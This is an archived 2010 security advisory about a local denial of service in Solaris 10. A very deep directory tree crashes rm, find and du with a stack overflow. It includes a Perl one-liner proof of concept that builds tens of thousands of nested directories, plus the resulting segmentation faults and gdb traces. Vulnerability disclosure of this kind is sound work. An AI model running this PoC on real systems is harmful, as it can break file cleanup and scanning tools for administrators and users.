TUCoPS :: SunOS/Solaris :: b1a-1115.htm

Sun Solaris 10 filesystem rm(1),find(1),etc, Denial-of-service
Sun Solaris 10 filesystem rm(1),find(1),etc, Denial-of-service
Sun Solaris 10 filesystem rm(1),find(1),etc, Denial-of-service



-----BEGIN PGP SIGNED MESSAGE-----=0D
Hash: SHA1=0D
=0D
[ Sun Solaris 10 filesystem rm(1),find(1),etc, Denial-of-service ]=0D
=0D
Author: Maksymilian Arciemowicz=0D
SecurityReason.com=0D
Date:=0D
- - Dis.: 17.04.2010=0D
- - Pub.: 21.05.2010=0D
=0D
Affected Software:=0D
- - Sun Solaris 10 10/09=0D
=0D
Original URL:=0D
http://securityreason.com/achievement_securityalert/85=0D 
=0D
=0D
- --- 0.Description ---=0D
Solaris is a Unix operating system introduced by Sun Microsystems in 1992 as the successor to SunOS.=0D
=0D
Sun Microsystems, Inc. is a wholly owned subsidiary of Oracle Corporation, selling computers, computer components, computer software, and information technology services. Sun was founded on February 24, 1982. The company was headquartered in Santa Clara, California (part of Silicon Valley), on the former west campus of the Agnews Developmental Center.=0D
=0D
In computing, ZFS is a combined file system and logical volume manager designed by Sun Microsystems. The features of ZFS include support for high storage capacities, integration of the concepts of filesystem and volume management, snapshots and copy-on-write  clones, continuous integrity checking and automatic repair, RAID-Z and native NFSv4 ACLs.=0D
=0D
=0D
- --- 1. Sun Solaris 10 filesystem rm(1),find(1),etc, Denial-of-service  ---=0D
We can create, deep tree and when we will remove, scan or something else with this tree, affected program will crash with stack overflow sympton=0D
=0D
PoC:=0D
# perl -e '$a="X";for(1..8000){ ! -d $a and mkdir $a and chdir $a }'=0D
=0D
we need use 1..8000 or bigger value to make stack overflow.=0D
=0D
in result=0D
=0D
# du X=0D
Segmentation fault (core dumped)=0D
# /usr/local/bin/gdb -q du=0D
(no debugging symbols found)=0D
(gdb) r X=0D
Starting program: /usr/bin/du X=0D
(no debugging symbols found)=0D
(no debugging symbols found)=0D
(no debugging symbols found)=0D
(no debugging symbols found)=0D
=0D
Program received signal SIGSEGV, Segmentation fault.=0D
0xfeedfc8a in _ndoprnt () from /lib/libc.so.1=0D
(gdb) x/i $eip=0D
0xfeedfc8a <_ndoprnt+12>:       push   %ebp=0D
=0D
We can simple remove this dir for 1..8000=0D
=0D
# rm -rf X=0D
#=0D
=0D
but let`s try create this =0D
=0D
# perl -e '$a="Y";for(1..50000){ ! -d $a and mkdir $a and chdir $a }'=0D
# rm -rf Y=0D
Segmentation fault (core dumped)=0D
=0D
rm(1) has fail!=0D
=0D
what is wrong? stack overflow=0D
=0D
# /usr/local/bin/gdb -q rm=0D
(no debugging symbols found)=0D
(gdb) r -rf Y=0D
Starting program: /usr/bin/rm -rf Y=0D
(no debugging symbols found)=0D
(no debugging symbols found)=0D
=0D
Program received signal SIGSEGV, Segmentation fault.=0D
0x08051c03 in ?? ()=0D
(gdb) x/i $eip=0D
0x8051c03:      push   %ebx=0D
=0D
# find Y CX >> /dev/null=0D
Segmentation fault (core dumped)=0D
=0D
=0D
find(1) also fails!=0D
=0D
# /usr/local/bin/gdb -q find=0D
(no debugging symbols found)=0D
(gdb) r Y CX >> /dev/null=0D
Starting program: /usr/bin/find Y CX >> /dev/null=0D
(no debugging symbols found)=0D
(no debugging symbols found)=0D
(no debugging symbols found)=0D
(no debugging symbols found)=0D
=0D
Program received signal SIGSEGV, Segmentation fault.=0D
0xfeecfc8a in _ndoprnt () from /lib/libc.so.1=0D
(gdb) x/i $eip=0D
0xfeecfc8a <_ndoprnt+12>:       push   %ebp=0D
=0D
=0D
- --- 2. Fix ---=0D
Sun Solaris will fix this issue.=0D
=0D
=0D
- --- 3. Greets ---=0D
sp3x Infospec pi3=0D
=0D
=0D
- --- 4. Contact ---=0D
Author: SecurityReason.com [ Maksymilian Arciemowicz ]=0D
Email:=0D
- - cxib {a\./t] securityreason [d=t} com=0D
=0D
GPG:=0D
- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg=0D 
=0D
http://securityreason.com/=0D 
http://securityreason.com/exploit_alert/ - Exploit Database=0D 
http://securityreason.com/security_alert/ - Vulnerability Database=0D 
=0D
-----BEGIN PGP SIGNATURE-----=0D
=0D
iEYEARECAAYFAkv2dbQACgkQpiCeOKaYa9aN0QCgvsk4mNEx7yXRqAX/CHOZl53x=0D
J2YAn1OnO769x8IN2evc3VMt79QTOp+O=0D
=2r72=0D
-----END PGP SIGNATURE-----=0D

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH